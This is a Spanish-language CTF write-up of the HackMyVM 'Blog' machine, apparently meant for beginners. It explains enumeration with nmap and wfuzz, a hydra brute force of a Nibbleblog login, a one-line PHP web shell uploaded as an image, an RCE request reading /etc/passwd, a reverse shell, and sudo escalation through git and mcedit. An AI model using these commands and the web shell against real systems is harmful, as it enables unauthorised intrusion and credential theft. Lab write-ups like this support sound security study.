Guía explicativa resolución de máquina CTF. | Blog - d4t4s3c

Lo que a continuación encontrarás es un writeup(guía técnica) de la resolución de una máquina CTF (capture the flag) que no es más que un sistema con servicios creado y estructurado con ciertas vulnerabilidades conocidas, que se han implementado en la misma de una forma lógica que permita el aprendizaje en los niveles fáciles y consiga ser todo en reto en niveles difíciles.

Un writeup suele albergar unicamente la parte técnica a modo de reporte, facilitando la guía de pasos y técnicas utilizadas para resolver la máquina CTF o laboratorio vulnerable, pero en este caso he decidido hacer una explicación de cada paso realizado, con la intención de que aporte todos los puntos necesarios para que un/a usuari@ que nunca ha jugado con CTF's, pueda entender todo el proceso que conlleva todo lo anteriormente comentado.


Metadatos de la máquina Blog CTF.

Máquina CTF: Blog


Creador: d4t4s3c


Gestionar el entorno y las máquinas.


Una vez virtualizada la máquina víctima "Blog" y el sistema atacante preferido con el software de virtualización VirtualBox, iniciamos la comprobación del entorno con un escaneo de dispositivos conectados en red local y acotando por las siglas "PCS" dado que es la denominación de dispositivos en red que utiliza VirtualBox.


Comandos / Documentos

· arp-scan -l | grep "PCS" | awk {'print $1'}


· arp-scan -l | grep "PCS" | awk {'print $1'} > datitos


Si deseamos guardar esta información en un archivo de texto, podemos utilizar una redirección del STDOUT de la orden del sistema hacia un archivo de texto, usando la sintaxis y caracter ">" el cual, crea o sobreescribre el contenido de un archivo de texto. Si utilizamos dos ">>", en vez de sobreescribir sobre el contenido del archivo, lo que sucederá es que escribirá la información en la última línea disponible, añadiendo un salto de línea a la anterior.
Ahora disponemos de IP correspondiente a la máquina víctima, preparamos una variable en sistema que guarde la misma, de forma que no necesitaremos posteriormente copiar y pegar.



Enumeración de servicios y puertos.


Para comprobar si realmente existe una salida hacia la red por parte de la máquina víctima (trazabilidad ICMP), ejecutamos un ping que además nos ofrecerá alguna información extra, como el TTL (denominación correspondiente al sistema operativo).

Comandos / Documentos

· ping -c 1 $ip


Obtenemos un TTL de 64 por lo que estamos ante un sistema Gnu/Linux, con esta información podemos continuar con un escaneo de servicios y puertos hacia la IP de la máquina víctima. Personalmente me gusta utilizar una metodología de escaneo doble, primero un sondeo rápido de puertos abiertos para luego realizar un análisis más amplio a los puertos abiertos descubiertos con la parametrización del primer nmap que ejecuto, esto es práctico ya que, ahorramos tiempo de escaneo con la herramienta nmap, debido a que el segundo nmap es más agresivo y con parametrización que extrae más información que el anterior y si lo lanzamos hacia todos los puertos, deriba en más tiempo. Para tener la información bien documentada en nuestro directorio predefinido de la máquina, guardaremos el STDOUT del segundo nmap en un archivo de texto, para ello utilizaremos el parámetro "-oN" que guarda la salida en formato nmap hacia un archivo de texto.

Comandos / Documentos

· nmap -sS -n -Pn -p- --min-rate=6500 $ip --open


· nmap -sCV -p22,80 $ip -oN nmap-scan


Enumeración servicio Web.


Dos servicios corriendo en puertos, aplicación de red SSH por el 22 y servicio web por el 80 sostentado por apache, además obtenemos que el sistema es un debian. Un curl como método rápido de visualización del contenido web dependiente de la IP.

Nos indica que existe un "pre" indicando un ping y un dominio "blog.hmv", se podría deducir que necesitamos añadir este a nuestro /etc/host , pero en este caso no es necesario así que continuamos con un fuzzing de estexiones y directorios web dependientes de IP, en este caso usamos la herramienta Wfuzz.

Comandos / Documentos

· curl -s $ip

· wfuzz -c --hc=404 -t 300 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u $ip/FUZZ


Observamos que existe un directorio o extensión llamado "my_weblog" con una respuesta de 301.

Después de investigar en el código y en los enlaces, descubrimos un "meta name="generator" content="Nibleblog"" que hace referencia a un gestor de contenidos web conocido, Nibleblog. Esta es una pista llamativa pero aún así continuamos enumerando con el fuzzing, pero esta vez desde /my_weblog. Tampoco devuelve dirctorios, por lo que añadimos extensiones, las que necesitamos son txt y php, las asignamos como parametrización al wfuzz. Efectivamente esta enumeración nos revela 5 extensión, dos archivos txt y 3 php, COPYRIGHT.txt alberga información del CMS Nibleblog y su fecha de copyright (2009 - 2013), deducimos tras una búsqueda en google, que tenemos dos versiones en este periodo de tiempo. Tenemos un posible vector de ataque.

Comandos / Documentos

· wfuzz -c --hc=404 -t 300 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,php-txt 'http://192.168.1.53/my_weblog/FUZZ.FUZ2Z'



Explotación CMS Nibleblog.


Buscamos exploits para el CMS y su versión, existe uno que utiliza la subida de un archivo para gestionar una reverse shell con PHP pero se requiere autentificación, por lo que no nos sirve. El siguiente paso es realizar fuerza bruta al login con la esperanza de obtener credenciales, para este proceso utilizamos hydra pero nos falta un detalle importante, conocer el formato de las peticiones que hace el login desde el panel admin.php. Descubrimos un post con la sintáxis de error, de la cual hacemos acopio para nuestra fuerza bruta (se observa desde el inspector de código, en la pestaña de Network, hacemos un login aleatorio, click en el "document" de la petición y seleccionamos la pestaña "request").

Comandos / Documentos



# Fuerza bruta con hydra:

· hydra -t 50 -l admin -P /usr/share/wordlists/rockyou.txt $ip http-post-form '/my_weblog/admin.php:username=admin&password=^PASS^:Incorrect'


Hemos tenido suerte con las credenciales, accedemos como administrador al panel de gestión del CMS Nibbleblog y observando los exploits comentados anteriormente, el vector de ataque para acceder al sistema se basa en la subida de una "imagen" a través del apartado de plugins, pero nosotr@s usaremos un archivo con extensión "php" que contendrá una sintáxis del lenguaje que nos permite provocar un RCE (ejecución de comandos remotamente) y de la cual haremos uso para extraer información delicada del sistema y además, gestionar una reverse shell que nos dará acceso al sistema como usuario www-data. (Este fallo es común en algunos CMS, la funcionalidad de subida de imagenes NO restringe formatos de archivo diferentes a los correspondientes para imágenes).

Comandos / Documentos




# Generamos un archivo con extensión php que contenga la siguiente sintáxis y lo subimos al CMS:

· ?php system($_GET['cmd']); ?>


Ahora la pregunta clave, ¿donde diablos está alojada mi "imagen falsa"?. Bueno tendremos que investigar en google para descubrir la ruta de visionado de imagenes correspondiente al CMS Nibbleblog, utilizando el siguiente dork: "content image nibbleblog", google es tan amable de ofrecernos la solución en el primer enlace.
Nos revela que el directorio para visualizar las imágenes subidas es el siguiente:

/my_weblog/content/private/plugins/my_image/

Añadimos nuestra imagen maliciosa con extensión php "/my_image/image.php" y comprobamos que da acceso y código de respuesta 200. El siguiente paso es añadir la sintáxis de ejecución de órdenes de sistema correspondiente al RCE en php. Podemos enumerar cierta información desde aquí, como los usuarios del /etc/passwd.

Comandos / Documentos

· /my_weblog/content/private/plugins/my_image/image.php?cmd=id;hostname;cat /etc/passwd


Llegados a este punto, necesitamos una reverse shell para ejecutar desde el RCE obtenido, para ello utilizaremos la herramienta "Shelly" del usuario d4t4s3c y que podemos descargar desde su espacio en github. Una vez instalada en nuestro sistema, le otorgamos permisos de ejecución con "chmod +x" y seguimos los pasos para generar una reverseshell con netcat. Este paso se puede hacer manual, cuando repites este método varias veces, recuerdas perfectamente la sintáxis pero a veces fallan y necesitas recurrir a sintáxis de otros lenguajes y aquí, es donde este tipo de herramientas te facilitan el trabajo. Enlace a la herramienta Shelly

Instalación y uso herramienta Shelly



Desde nuestra máquina atacante entablamos una escucha con netcat para poder recibir la shell inversa que generamos en la web. Es importante asegurarse si el puerto que estamos usando no está ocupado por un servicio, ya que esto provocaría que la escucha no surja ningun efecto a pesar de que todo esté bien gestionado. Primero ejecutamos la escucha y después iniciamos la petición desde el RCE en la web.

Comandos / Documentos



Enumeración y explotación de sistema.


Ya tenemos acceso al sistema como usuario www-data y comenzamos con las metodologías de enumeración en sistema pero antes, hacemos un tratamiento de TTY para tener comodidad y funcionalidades en la shell. Este es un ejemplo de tratamiento de tty con bash:

Comandos / Documentos

# En el sistema víctima:

$ script /dev/null -c bash
$ [ctrl+z]

# Nos envía a la shell de nuestro equipo atacante y ejecutamos:

$ stty raw -echo;fg
$ [ENTER]
$ reset
$ xterm

# Regresamos a la shell de la máquina víctima:

$ export TERM=xterm
$ export SHELL=bash
$ reset
$ xterm

# Ahora nos falta acomodar las clumnas y filas de la shell, nos dirigimos a la terminal de sistema atacante para ver que medidas tenemos y escribimos para ello:

$ stty -a

# Nos quedamos con las medidas y volvemos a la shell de la máquina víctima para añadir estas filas y columnas:

$ stty rows 42 columns 187


Existen varios métodos para enumerar, uno de ellos es el comando "sudo -l" que nos devuelve información de los permisos que tenemos con sudo para ejecutar binarios o comandos sin contraseña bajo el manto de otro usuario del sistema. Efectivamente, en este caso es así, podemos ejecutar /usr/bin/git como usuario "admin" sin passwd.

Comandos / Documentos



Después conseguir pivotar hacia el usuario admin, volvemos con las metodologías de enumeración en sistema y al igual que con el usuario data, con "sudo -l" observamos que tenemos permisos de ejecución de binario como root sin passwd para /usr/bin/mcedit . Buscando información acerca de "mcedit" encontramos una forma de conseguir una shell dentro del interfaz del propio programa.

Estos son los pasos:

· sudo -u root /usr/bin/mcedit
· F9



· Desde el botón de FILE, seleccionamos User Menu.

· Dentro del menu de usuario, seleccionamos la opción de "invoke shell".

!Ya somos usuario administrador en el sistema!


Antes de finalizar este writeup, me gustaría dar las gracias a HackMyVm por la gran comunidad y contenido de aprendizaje de alto nivel que ofrece de forma gratuita. También quiero agradecer al usuario d4t4s3c su labor y contribuciones, es un placer estudiar y aprender rodeado de usuari@s como él.



✪ Artículo escrito por ShellDredd.



Nos vemos en el próximo artículo.

Actividad
Descripción
Temática

Nueva sección: Laboratorios de máquinas CTF
Laboratorios destinados al aprendizaje sobre auditorías de servicios, aplicaciones y sistemas a través de máquinas CTF exclusivas y de diferentes niveles de dificultad. Algunos laboratorios son al estilo CTF clásico (con pistas y más enfocados a usuarios/as nóveles) y otros son estructurados de forma realista (para aquellos/as que ya tienen buena base en metodologías y técnicas). Laboratorios

Resolución Máquina Blog CTF
Guía completa y explicada paso a paso sobre la resolución de la máquina BLOG, creada por d4t4s3c y de nivel fácil, la cual he elegido como favorita para este writeup destinado a jugadores/as novicios/as. WriteUp

Analizando ESTAFA de SMISHING y WEB SPOOFING
Analizo la estafa actual de reembolso de la agencia tributaria, la cual funciona a través de smishing para luego redirigir a una suplantación de la web de hacienda. #Youtube Video. Vídeo

HostName Linux. Uso y configuración básica.
Un nombre de equipo es un nombre único que se le otorga a un dispositivo conectado a una red de dispositivos informáticos. Puede ser un ordenador, un servidor de ficheros, un dispositivo de almacenamiento conectado en red, un fax, impresora, teléfono móvil, etc.. Linux

¿Qué es HackMyVm?
Plataforma de seguridad informática que permite descargar máquinas vulnerables CTF para practicar tus habilidades y aprender conceptos nuevos. Seguridad

WriteUp/Walkthrough JABITA VM [HackMyVM]
Writeup de la máquina vulnerable JABITA creada por Rijaba1 y disponible en la plataforma de CTF HackMyVM. Vídeo

VulnHub-Tool-Explorer
Cliente de terminal para explorar y descargar máquinas de la plataforma VulnHub. Programado en Python 3. Herramienta

Directo resolviendo 2 máquinas CTF - GIFT | FLOWERS - HackMyVM
Resolución y explicación en directo a través de Twitch de dos máquinas CTF, Gift y Flowers, pertenecientes a la plataforma HackMyVM. Directo

Descarga cualquier producto oficial de MICROSOFT en 2 clicks.
Descubre esta herramienta online para descargar cualquier producto de Microsoft de forma sencilla y rápida desde un menú intuitivo. Windows

¿Te gusta el contenido de ShellDredd?

Si quieres puedes invitarme a un café para apoyar el contenido.